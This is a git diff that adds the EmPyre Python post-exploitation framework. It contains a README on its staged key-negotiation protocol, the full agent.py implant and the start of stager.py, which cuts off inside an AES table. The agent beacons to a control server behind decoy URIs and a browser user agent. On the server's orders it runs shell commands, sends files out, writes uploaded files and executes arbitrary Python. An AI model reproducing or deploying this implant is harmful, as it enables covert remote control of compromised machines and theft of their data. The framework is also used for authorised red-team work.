diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..bde63b5 --- /dev/null +++ b/.gitignore @@ -0,0 +1,7 @@ +data/empyre.db +./data/empyre.pem +empyre.debug +*.pyc +downloads/* +LastTask.py + diff --git a/LICENSE b/LICENSE index 4588199..1aaa9e6 100644 --- a/LICENSE +++ b/LICENSE @@ -1,4 +1,4 @@ -Copyright (c) 2016, Adaptive Threat Division +Copyright (c) 2016, Will Schroeder All rights reserved. Redistribution and use in source and binary forms, with or without @@ -11,7 +11,7 @@ modification, are permitted provided that the following conditions are met: this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. -* Neither the name of EmPyre nor the names of its +* Neither the name of Empyre nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. @@ -25,3 +25,4 @@ SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + diff --git a/README.md b/README.md new file mode 100644 index 0000000..544c3c5 --- /dev/null +++ b/README.md @@ -0,0 +1,44 @@ +#EmPyre + +EmPyre is a pure Python post-exploitation agent built on cryptologically-secure communications and a flexible architecture. It is based heavily on the controller and communication structure of Empire. + +The Diffie Hellman implementation is from Mark Loiseau's project at https://github.com/lowazo/pyDHE, licensed under version 3.0 of the GNU General Public License. + +The AES implementation is adapted from Richard Moore's project at https://github.com/ricmoo/pyaes, licensed under the MIT license. + +The initial Python launcher code is inspired from MSF's Python Meterpreter launcher at https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/payload/python/reverse_http.rb, licensed under the BSD-3-clause license. + + +## Key negotiation + + +* KEYs = staging key, set per server (used for RC4 and initial AES comms) +* KEYn = the DH-EKE negotiated key +* PUBc = the client-generated DH public key +* PUBs = the server-generated DH public key + +The process is as follows: + +1. client runs launcher.py that GETs stager.py from /stage0 + launcher.py implements a minimized RC4 decoding stub and negotiation key + +2. server returns RC4(KEYs, stager.py) (key negotiation stager) + stager.py contains minimized DH and AES + +3. client generates DH key PUBc, and POSTs HMAC(AES(KEYs, PUBc)) posts to /stage1 + server generates a new DH key on each check in + +4. server returns HMAC(AES(KEYs, nonce+PUBs)) + client calculates shared DH key KEYn + +5. client POSTs HMAC(AES(KEYn, [nonce+1]+sysinfo) to /stage2 + +6. server returns HMAC(AES(KEYn, patched agent.py)) + +7. client sleeps on interval, and then GETs /tasking.uri + +8. if no tasking, return standard looking page + +9. if tasking, server returns HMAC(AES(KEYn, tasking)) + +10. client posts HMAC(AES(KEYn, tasking)) to /response.uri diff --git a/data/agent/agent.py b/data/agent/agent.py new file mode 100644 index 0000000..9631960 --- /dev/null +++ b/data/agent/agent.py @@ -0,0 +1,462 @@ +import struct, time, base64, subprocess, random, time, datetime +from StringIO import StringIO +from threading import Thread +import os + +################################################ +# +# agent configuration information +# +################################################ + +# print "starting agent" + +# profile format -> +# tasking uris | user agent | additional header 1 | additional header 2 | ... +profile = "/admin/get.php,/news.asp,/login/process.jsp|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko" + +if server.endswith("/"): server = server[0:-1] + +delay = 60 +jitter = 0.0 +lostLimit = 60 +missedCheckins = 0 + +# killDate form -> "MO/DAY/YEAR" +killDate = "" +# workingHours form -> "9:00-17:00" +workingHours = "" + +parts = profile.split("|") +taskURIs = parts[0].split(",") +userAgent = parts[1] +headersRaw = parts[2:] + +defaultPage = base64.b64decode("") + +jobs = [] + +# global header dictionary +# sessionID is set by stager.py +headers = {'User-Agent': userAgent, "Cookie": "SESSIONID=%s" %(sessionID)} + +# parse the headers into the global header dictionary +for headerRaw in headersRaw: + try: + headerKey = headerRaw.split(":")[0] + headerValue = headerRaw.split(":")[1] + + if headerKey.lower() == "cookie": + headers['Cookie'] = "%s;%s" %(headers['Cookie'], headerValue) + else: + headers[headerKey] = headerValue + except: + pass + + +################################################ +# +# communication methods +# +################################################ + +def sendMessage(packets=None): + """ + Requests a tasking or posts data to a randomized tasking URI. + + If packets == None, the agent GETs a tasking from the control server. + If packets != None, the agent encrypts the passed packets and + POSTs the data to the control server. + """ + global missedCheckins + global server + global headers + global taskURIs + + data = None + if packets: + data = "".join(packets) + data = aes_encrypt_then_hmac(key, data) + + taskURI = random.sample(taskURIs, 1)[0] + if (server.endswith(".php")): + # if we have a redirector host already + requestUri = server + else: + requestUri = server + taskURI + + try: + data = (urllib2.urlopen(urllib2.Request(requestUri, data, headers))).read() + return ("200", data) + except urllib2.HTTPError as HTTPError: + # if the server is reached, but returns an erro (like 404) + missedCheckins = missedCheckins + 1 + return (HTTPError.code, "") + except urllib2.URLError as URLerror: + # if the server cannot be reached + missedCheckins = missedCheckins + 1 + return (URLerror.reason, "") + + return ("","") + + +################################################ +# +# encryption methods +# +################################################ + +def encodePacket(taskingID, packetData): + """ + Encode a response packet. + + [4 bytes] - type + [4 bytes] - counter + [4 bytes] - length + [X...] - tasking data + """ + + # packetData = packetData.encode('utf-8').strip() + + taskID = struct.pack('=L', taskingID) + counter = struct.pack('=L', 0) + if(packetData): + length = struct.pack('=L',len(packetData)) + else: + length = struct.pack('=L',0) + + # b64data = base64.b64encode(packetData) + + if(packetData): + packetData = packetData.decode('ascii', 'ignore').encode('ascii') + + return taskID + counter + length + packetData + + +def decodePacket(packet, offset=0): + """ + Parse a tasking packet, returning (PACKET_TYPE, counter, length, data, REMAINING_PACKETES) + + [4 bytes] - type + [4 bytes] - counter + [4 bytes] - length + [X...] - tasking data + [Y...] - remainingData (possibly nested packet) + """ + + try: + responseID = struct.unpack('=L', packet[0+offset:4+offset])[0] + counter = struct.unpack('=L', packet[4+offset:8+offset])[0] + length = struct.unpack('=L', packet[8+offset:12+offset])[0] + # data = base64.b64decode(packet[12+offset:12+offset+length]) + data = packet[12+offset:12+offset+length] + remainingData = packet[12+offset+length:] + return (responseID, counter, length, data, remainingData) + except Exception as e: + print "decodePacket exception:",e + return (None, None, None, None, None) + + +def processTasking(data): + # processes an encrypted data packet + # -decrypts/verifies the response to get + # -extracts the packets and processes each + + try: + tasking = aes_decrypt_and_verify(key, data) + (taskingID, counter, length, data, remainingData) = decodePacket(tasking) + + # if we get to this point, we have a legit tasking so reset missedCheckins + missedCheckins = 0 + + # execute/process the packets and get any response + resultPackets = "" + result = processPacket(taskingID, data) + if result: + resultPackets += result + + packetOffset = 12 + length + + while remainingData and remainingData != "": + + (taskingID, counter, length, data, remainingData) = decodePacket(tasking, offset=packetOffset) + + result = processPacket(taskingID, data) + if result: + resultPackets += result + + packetOffset += 12 + length + + sendMessage(resultPackets) + + except Exception as e: + print "processTasking exception:",e + pass + + +def processPacket(taskingID, data): + + try: + taskingID = int(taskingID) + except Exception as e: + return None + + if taskingID == 1: + # sysinfo request + # get_sysinfo should be exposed from stager.py + return encodePacket(1, get_sysinfo()) + + elif taskingID == 2: + # agent exit + + msg = "[!] Agent %s exiting" %(sessionID) + sendMessage(encodePacket(2, msg)) + exit() # does this kill all threads? + + elif taskingID == 40: + # run a command + resultData = str(run_command(data)) + return encodePacket(40, resultData) + + elif taskingID == 41: + # file download + + filePath = os.path.abspath(data) + if not os.path.exists(filePath): + return encodePacket(40, "file does not exist or cannot be accessed") + + offset = 0 + size = os.path.getsize(filePath) + + while True: + + partIndex = 0 + + # get 512kb of the given file starting at the specified offset + encodedPart = get_file_part(filePath, offset) + + partData = "%s|%s|%s" %(partIndex, filePath, encodedPart) + + if not encodedPart or encodedPart == '': + break + + sendMessage(encodePacket(41, partData)) + + global delay + global jitter + if jitter < 0: jitter = -jitter + if jitter > 1: jitter = 1/jitter + + minSleep = (1.0-jitter)*delay + maxSleep = (1.0+jitter)*delay + sleepTime = random.randint(minSleep, maxSleep) + time.sleep(sleepTime) + + partIndex += 1 + offset += 5120000 + + elif taskingID == 42: + # file upload + + parts = data.split("|") + filePath = parts[0] + base64part = parts[1] + + raw = base64.b64decode(base64part) + f = open(filePath, 'ab') + f.write(raw) + f.close() + + try: + sendMessage(encodePacket(42, "[*] Upload of %s successful" %(filePath) )) + except: + sendMessage(encodePacket(0, "[!] Error in writing file %s during upload" %(filePath) )) + + elif taskingID == 50: + # return the currently running jobs + msg = "" + + if len(jobs) == 0: + msg = "No active jobs" + else: + msg = "Active jobs:\n" + for x in xrange(len(jobs)): + msg += "\t%s" %(x) + + return encodePacket(50, msg ) + + elif taskingID == 51: + # stop and remove a specified job if it's running + try: + result = jobs[int(data)].join() + jobs[int(data)]._Thread__stop() + if result and result != "": + sendMessage(encodePacket(51, result )) + except: + return encodePacket(0, "error stopping job: %s" %(data)) + + elif taskingID == 100: + # dynamic code execution, wait for output, don't save output + try: + buffer = StringIO() + sys.stdout = buffer + exec(data) + sys.stdout = sys.__stdout__ + results = buffer.getvalue() + return encodePacket(100, str(buffer.getvalue())) + except Exception as e: + + return encodePacket(0, "error executing specified Python data: %s" %(e)) + + elif taskingID == 101: + # dynamic code execution, wait for output, save output + prefix = data[0:15].strip() + extension = data[15:20].strip() + data = data[20:] + + try: + buffer = StringIO() + sys.stdout = buffer + exec(data) + sys.stdout = sys.__stdout__ + return encodePacket(101, '{0: <15}'.format(prefix) + '{0: <5}'.format(extension) + str(buffer.getvalue()) ) + except: + return encodePacket(0, "error executing specified Python data") + + elif taskingID == 110: + start_job(data) + return encodePacket(110, "job %s started" %(len(jobs)-1)) + + elif taskingID == 111: + # TASK_CMD_JOB_SAVE + # TODO: implement job structure + pass + + else: + return encodePacket(0, "invalid tasking ID: %s" %(taskingID)) + + +################################################ +# +# misc methods +# +################################################ + +def indent(lines, amount=4, ch=' '): + padding = amount * ch + return padding + ('\n'+padding).join(lines.split('\n')) + + +# from http://stackoverflow.com/questions/6893968/how-to-get-the-return-value-from-a-thread-in-python +class ThreadWithReturnValue(Thread): + def __init__(self, group=None, target=None, name=None, + args=(), kwargs={}, Verbose=None): + Thread.__init__(self, group, target, name, args, kwargs, Verbose) + self._return = None + def run(self): + if self._Thread__target is not None: + self._return = self._Thread__target(*self._Thread__args, + **self._Thread__kwargs) + def join(self): + Thread.join(self) + return self._return + + +def start_job(code): + + global jobs + + # create a new code block with a defined method name + codeBlock = "def method():\n" + indent(code) + + # register the code block + exec(codeBlock) + + # create/start/return the thread + codeThread = ThreadWithReturnValue(target=method, args=()) + codeThread.start() + + jobs.append(codeThread) + + +# additional implementation methods +def run_command(command): + command = command.split() + p = subprocess.Popen(command, + stdout=subprocess.PIPE, + stderr=subprocess.STDOUT) + return ''.join(list(iter(p.stdout.readline, b''))) + + +def get_file_part(filePath, offset=0, chunkSize=512000): + + if not os.path.exists(filePath): + return '' + + f = open(filePath, 'rb') + f.seek(offset, 1) + data = f.read(chunkSize) + f.close() + + return base64.b64encode(data) + + +################################################ +# +# main agent functionality +# +################################################ + +while(True): + + # TODO: jobs functionality + + if workingHours != "": + try: + start,end = workingHours.split("-") + now = datetime.datetime.now() + startTime = datetime.datetime.strptime(start, "%H:%M") + endTime = datetime.datetime.strptime(end, "%H:%M") + + if not (startTime <= now <= endTime): + sleepTime = startTime - now + # print "not in working hours, sleeping %s seconds" %(sleepTime.seconds) + # sleep until the start of the next window + time.sleep(sleepTime.seconds) + + except Exception as e: + pass + + # check if we're past the killdate for this agent + # killDate form -> MO/DAY/YEAR + if killDate != "": + now = datetime.datetime.now().date() + killDateTime = datetime.datetime.strptime(killDate, "%m/%d/%Y").date() + if now > killDateTime: + msg = "[!] Agent %s exiting" %(sessionID) + sendMessage(encodePacket(2, msg)) + exit() + + # exit if we miss commnicating with the server enough times + if missedCheckins >= lostLimit: + exit() + + # sleep for the randomized interval + if jitter < 0: jitter = -jitter + if jitter > 1: jitter = 1/jitter + minSleep = (1.0-jitter)*delay + maxSleep = (1.0+jitter)*delay + + sleepTime = random.randint(minSleep, maxSleep) + time.sleep(sleepTime) + + (code, data) = sendMessage() + if code == "200": + if data == defaultPage: + missedCheckins = 0 + else: + processTasking(data) + else: + pass + # print "invalid code:",code + diff --git a/data/agent/stager.py b/data/agent/stager.py new file mode 100644 index 0000000..71766e9 --- /dev/null +++ b/data/agent/stager.py @@ -0,0 +1,648 @@ +#!/usr/bin/env python + +# AES code from https://github.com/ricmoo/pyaes +# DH code from Directly from: https://github.com/lowazo/pyDHE +# See README.md for complete citations and sources + +import copy, sys, struct, os, hashlib, random, string, hmac, urllib2, socket + +# If a secure random number generator is unavailable, exit with an error. +try: + try: + import ssl + random_function = ssl.RAND_bytes + random_provider = "Python SSL" + except (AttributeError, ImportError): + import OpenSSL + random_function = OpenSSL.rand.bytes + random_provider = "OpenSSL" +except: + random_function = os.urandom + random_provider = "os.urandom" + + +class DiffieHellman(object): + """ + A reference implementation of the Diffie-Hellman protocol. + By default, this class uses the 6144-bit MODP Group (Group 17) from RFC 3526. + This prime is sufficient to generate an AES 256 key when used with + a 540+ bit exponent. + """ + + def __init__(self, generator=2, group=17, keyLength=540): + """ + Generate the public and private keys. + """ + min_keyLength = 180 + default_keyLength = 540 + + default_generator = 2 + valid_generators = [ 2, 3, 5, 7 ] + + # Sanity check fors generator and keyLength + if(generator not in valid_generators): + print("Error: Invalid generator. Using default.") + self.generator = default_generator + else: + self.generator = generator + + if(keyLength < min_keyLength): + print("Error: keyLength is too small. Setting to minimum.") + self.keyLength = min_keyLength + else: + self.keyLength = keyLength + + self.prime = self.getPrime(group) + + self.privateKey = self.genPrivateKey(keyLength) + self.publicKey = self.genPublicKey() + + def getPrime(self, group=17): + """ + Given a group number, return a prime. + """ + default_group = 17 + + primes = { + 5: 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA237327FFFFFFFFFFFFFFFF, + 14: 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AACAA68FFFFFFFFFFFFFFFF, + 15: 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AAAC42DAD33170D04507A33A85521ABDF1CBA64ECFB850458DBEF0A8AEA71575D060C7DB3970F85A6E1E4C7ABF5AE8CDB0933D71E8C94E04A25619DCEE3D2261AD2EE6BF12FFA06D98A0864D87602733EC86A64521F2B18177B200CBBE117577A615D6C770988C0BAD946E208E24FA074E5AB3143DB5BFCE0FD108E4B82D120A93AD2CAFFFFFFFFFFFFFFFF, + 16: 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AAAC42DAD33170D04507A33A85521ABDF1CBA64ECFB850458DBEF0A8AEA71575D060C7DB3970F85A6E1E4C7ABF5AE8CDB0933D71E8C94E04A25619DCEE3D2261AD2EE6BF12FFA06D98A0864D87602733EC86A64521F2B18177B200CBBE117577A615D6C770988C0BAD946E208E24FA074E5AB3143DB5BFCE0FD108E4B82D120A92108011A723C12A787E6D788719A10BDBA5B2699C327186AF4E23C1A946834B6150BDA2583E9CA2AD44CE8DBBBC2DB04DE8EF92E8EFC141FBECAA6287C59474E6BC05D99B2964FA090C3A2233BA186515BE7ED1F612970CEE2D7AFB81BDD762170481CD0069127D5B05AA993B4EA988D8FDDC186FFB7DC90A6C08F4DF435C934063199FFFFFFFFFFFFFFFF, + 17: + 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AAAC42DAD33170D04507A33A85521ABDF1CBA64ECFB850458DBEF0A8AEA71575D060C7DB3970F85A6E1E4C7ABF5AE8CDB0933D71E8C94E04A25619DCEE3D2261AD2EE6BF12FFA06D98A0864D87602733EC86A64521F2B18177B200CBBE117577A615D6C770988C0BAD946E208E24FA074E5AB3143DB5BFCE0FD108E4B82D120A92108011A723C12A787E6D788719A10BDBA5B2699C327186AF4E23C1A946834B6150BDA2583E9CA2AD44CE8DBBBC2DB04DE8EF92E8EFC141FBECAA6287C59474E6BC05D99B2964FA090C3A2233BA186515BE7ED1F612970CEE2D7AFB81BDD762170481CD0069127D5B05AA993B4EA988D8FDDC186FFB7DC90A6C08F4DF435C93402849236C3FAB4D27C7026C1D4DCB2602646DEC9751E763DBA37BDF8FF9406AD9E530EE5DB382F413001AEB06A53ED9027D831179727B0865A8918DA3EDBEBCF9B14ED44CE6CBACED4BB1BDB7F1447E6CC254B332051512BD7AF426FB8F401378CD2BF5983CA01C64B92ECF032EA15D1721D03F482D7CE6E74FEF6D55E702F46980C82B5A84031900B1C9E59E7C97FBEC7E8F323A97A7E36CC88BE0F1D45B7FF585AC54BD407B22B4154AACC8F6D7EBF48E1D814CC5ED20F8037E0A79715EEF29BE32806A1D58BB7C5DA76F550AA3D8A1FBFF0EB19CCB1A313D55CDA56C9EC2EF29632387FE8D76E3C0468043E8F663F4860EE12BF2D5B0B7474D6E694F91E6DCC4024FFFFFFFFFFFFFFFF, + 18: + 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AAAC42DAD33170D04507A33A85521ABDF1CBA64ECFB850458DBEF0A8AEA71575D060C7DB3970F85A6E1E4C7ABF5AE8CDB0933D71E8C94E04A25619DCEE3D2261AD2EE6BF12FFA06D98A0864D87602733EC86A64521F2B18177B200CBBE117577A615D6C770988C0BAD946E208E24FA074E5AB3143DB5BFCE0FD108E4B82D120A92108011A723C12A787E6D788719A10BDBA5B2699C327186AF4E23C1A946834B6150BDA2583E9CA2AD44CE8DBBBC2DB04DE8EF92E8EFC141FBECAA6287C59474E6BC05D99B2964FA090C3A2233BA186515BE7ED1F612970CEE2D7AFB81BDD762170481CD0069127D5B05AA993B4EA988D8FDDC186FFB7DC90A6C08F4DF435C93402849236C3FAB4D27C7026C1D4DCB2602646DEC9751E763DBA37BDF8FF9406AD9E530EE5DB382F413001AEB06A53ED9027D831179727B0865A8918DA3EDBEBCF9B14ED44CE6CBACED4BB1BDB7F1447E6CC254B332051512BD7AF426FB8F401378CD2BF5983CA01C64B92ECF032EA15D1721D03F482D7CE6E74FEF6D55E702F46980C82B5A84031900B1C9E59E7C97FBEC7E8F323A97A7E36CC88BE0F1D45B7FF585AC54BD407B22B4154AACC8F6D7EBF48E1D814CC5ED20F8037E0A79715EEF29BE32806A1D58BB7C5DA76F550AA3D8A1FBFF0EB19CCB1A313D55CDA56C9EC2EF29632387FE8D76E3C0468043E8F663F4860EE12BF2D5B0B7474D6E694F91E6DBE115974A3926F12FEE5E438777CB6A932DF8CD8BEC4D073B931BA3BC832B68D9DD300741FA7BF8AFC47ED2576F6936BA424663AAB639C5AE4F5683423B4742BF1C978238F16CBE39D652DE3FDB8BEFC848AD922222E04A4037C0713EB57A81A23F0C73473FC646CEA306B4BCBC8862F8385DDFA9D4B7FA2C087E879683303ED5BDD3A062B3CF5B3A278A66D2A13F83F44F82DDF310EE074AB6A364597E899A0255DC164F31CC50846851DF9AB48195DED7EA1B1D510BD7EE74D73FAF36BC31ECFA268359046F4EB879F924009438B481C6CD7889A002ED5EE382BC9190DA6FC026E479558E4475677E9AA9E3050E2765694DFC81F56E880B96E7160C980DD98EDD3DFFFFFFFFFFFFFFFFF + } + + if group in primes.keys(): + return primes[group] + else: + print("Error: No prime with group %i. Using default." % group) + return primes[default_group] + + def genRandom(self, bits): + """ + Generate a random number with the specified number of bits + """ + _rand = 0 + _bytes = bits // 8 + 8 + + while(_rand.bit_length() < bits): + + try: + _rand = int.from_bytes(random_function(_bytes), byteorder='big') + except: + _rand = int(random_function(_bytes).encode('hex'), 16) + + return _rand + + def genPrivateKey(self, bits): + """ + Generate a private key using a secure random number generator. + """ + return self.genRandom(bits) + + def genPublicKey(self): + """ + Generate a public key X with g**x % p. + """ + return pow(self.generator, self.privateKey, self.prime) + + def checkPublicKey(self, otherKey): + """ + Check the other party's public key to make sure it's valid. + Since a safe prime is used, verify that the Legendre symbol == 1 + """ + if(otherKey > 2 and otherKey < self.prime - 1): + if(pow(otherKey, (self.prime - 1)//2, self.prime) == 1): + return True + return False + + def genSecret(self, privateKey, otherKey): + """ + Check to make sure the public key is valid, then combine it with the + private key to generate a shared secret. + """ + if(self.checkPublicKey(otherKey) == True): + sharedSecret = pow(otherKey, privateKey, self.prime) + return sharedSecret + else: + raise Exception("Invalid public key.") + + def genKey(self, otherKey): + """ + Derive the shared secret, then hash it to obtain the shared key. + """ + self.sharedSecret = self.genSecret(self.privateKey, otherKey) + + # Convert the shared secret (int) to an array of bytes in network order + # Otherwise hashlib can't hash it. + try: + _sharedSecretBytes = self.sharedSecret.to_bytes( + self.sharedSecret.bit_length() // 8 + 1, byteorder="big") + except AttributeError: + _sharedSecretBytes = str(self.sharedSecret) + + s = hashlib.sha256() + s.update(bytes(_sharedSecretBytes)) + self.key = s.digest() + + def getKey(self): + """ + Return the shared secret key + """ + return self.key + +def _compact_word(word): + return (word[0] << 24) | (word[1] << 16) | (word[2] << 8) | word[3] + +def _string_to_bytes(text): + return list(ord(c) for c in text) + +def _bytes_to_string(binary): + return "".join(chr(b) for b in binary) + +def _concat_list(a, b): + return a + b + +def to_bufferable(binary): + return binary + +def _get_byte(c): + return ord(c) + +# Python 3 compatibility +try: + xrange +except Exception: + xrange = range + + # Python 3 supports bytes, which is already an array of integers + def _string_to_bytes(text): + if isinstance(text, bytes): + return text + return [ord(c) for c in text] + + # In Python 3, we return bytes + def _bytes_to_string(binary): + return bytes(binary) + + # Python 3 cannot concatenate a list onto a bytes, so we bytes-ify it first + def _concat_list(a, b): + return a + bytes(b) + + def to_bufferable(binary): + if isinstance(binary, bytes): + return binary + return bytes(ord(b) for b in binary) + + def _get_byte(c): + return c + +def append_PKCS7_padding(data): + if (len(data) % 16) == 0: + return data + else: + pad = 16 - (len(data) % 16) + return data + to_bufferable(chr(pad) * pad) + +def strip_PKCS7_padding(data): + if len(data) % 16 != 0: + raise ValueError("invalid length") + + pad = _get_byte(data[-1]) + + if pad <= 16: + return data[:-pad] + else: + return data + + +class AES(object): + '''Encapsulates the AES block cipher. + + You generally should not need this. Use the AESModeOfOperation classes + below instead.''' + + # Number of rounds by keysize + number_of_rounds = {16: 10, 24: 12, 32: 14} + + # Round constant words + rcon = [ 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91 ] + + # S-box and Inverse S-box (S is for Substitution) + S = [ 0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15, 0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75, 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, 0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, 0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, 0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, 0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb, 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, 0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08, 0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, 0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf, 0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16 ] + Si =[ 0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb, 0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb, 0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e, 0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25, 0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92, 0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84, 0x90, 0xd8, 0xab, 0x00, 